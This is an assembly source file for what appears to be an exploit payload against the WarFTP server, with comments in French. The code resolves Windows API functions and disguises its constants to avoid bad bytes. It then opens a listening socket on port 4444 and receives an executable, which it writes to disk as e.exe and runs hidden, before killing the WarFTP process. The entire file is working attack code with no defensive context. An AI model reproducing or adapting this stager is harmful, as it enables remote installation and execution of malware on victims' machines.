.386
.model flat, stdcall

include ..\include\windows.inc
include exploit.inc

BUFFERSIZE equ <32000>

.code
Code:
 ExploitPrologue
 db "kernel32.dll",254,"GlobalAlloc",253,"TerminateProcess",253,"GetCurrentProcess",253,"WinExec",253 ;esi-56,esi-52,esi-48,esi-44
 db "_lcreat",253,"_lwrite",253,"_lclose",253 ;esi-40,esi-36,esi-32
 db "wsock32.dll",254,"socket",253,"bind",253,"listen",253,"accept",253,"recv",253,"closesocket",253 ;esi-28,esi-24,esi-20,esi-16,esi-12,esi-8
 db "e.exe",252 ;esi-4
 db 255
 ExploitEpilogue 0044CA44h,0044CA18h,0
 ExploitAlloc [esi-56],16+4*4 ;ebp-16, ebp-20,ebp-24,ebp-28,ebp-32
 xor ebx,ebx

 mov eax,not BUFFERSIZE
 not eax
 push eax
 mov eax,not GMEM_FIXED
 not eax
 push eax
 call dword ptr [esi-56] ;GlobalAlloc (alloue la m‚moire pour un buffer temporaire)
 mov [ebp-28],eax ;addr buffer fichier

 mov ax,not AF_INET
 not ax
 mov [ebp-16],ax ;AF_INET
 mov ax,5C11h ;4444 en hexad‚cimal Network Byte Order (AH et AL invers‚s)
 mov [ebp-14],ax ;port 4444 (cr‚e la structure qui d‚finit le port utilis‚)

 mov eax,not IPPROTO_TCP
 not eax
 push eax
 mov eax,not SOCK_STREAM
 not eax
 push eax
 mov eax,not AF_INET
 not eax
 push eax
 call dword ptr [esi-28] ;socket (cr‚e le socket du port qui va attendre le fichier)
 mov [ebp-20],eax ;listen socket

 mov eax,not 16
 not eax
 push eax
 lea eax,[ebp-16]
 push eax
 push [ebp-20]
 call dword ptr [esi-24] ;bind =0 (lie ce socket au port sp‚cifi‚)

 mov eax,not 1
 not eax
 push eax
 push [ebp-20]
 call dword ptr [esi-20] ;listen =0 (et ouvre ce socket en attente de connection)

 push ebx
 push ebx
 push [ebp-20]
 call dword ptr [esi-16] ;accept (attend la connection sur le socket)
 mov [ebp-24],eax ;accept socket

 push ebx
 push [esi-4]   ;nom fichier
 call dword ptr [esi-40] ;_lcreat (ouvre un fichier)
 mov [ebp-32],eax ;handle fichier

BoucleSend: ;boucle de r‚ception des donn‚es
 push ebx
 mov eax,not BUFFERSIZE
 not eax
 push eax
 push [ebp-28] ;addr buffer
 push [ebp-24] ;accept socket
 call dword ptr [esi-12] ;recv (on lit les donn‚es dans le buffer)
 xor ecx,ecx
 cmp eax,ecx
 je short FinSend ;s'il n'y a plus d'octets … lire
 not ecx
 cmp eax,ecx
 je short FinSend ;ou s'il y a une erreur (fermeture du socket par exemple), on sort de la boucle de lecture

 push eax
 push [ebp-28]  ;addr buffer
 push [ebp-32]  ;handle fichier
 call dword ptr [esi-36] ;_lwrite (et on les ‚crit dans le fichier)
 jmp short BoucleSend

FinSend:
 push [ebp-24] ;accept socket
 call dword ptr [esi-8] ;closesocket (on ferme le socket)

 push [ebp-32]  ;handle fichier
 call dword ptr [esi-32] ;_lclose (on ferme le fichier)

 push ebx ;SW_HIDE
 push [esi-4]   ;nom fichier
 call dword ptr [esi-44] ;WinExec (on lance l'ex‚cution du fichier)
 
 call dword ptr [esi-48] ;GetCurrentProcess (on lit le handle du process WarFTP)
 push ebx           ;NULL
 push eax
 call dword ptr [esi-52] ;TerminateProcess (et on termine WarFTP)
end Code
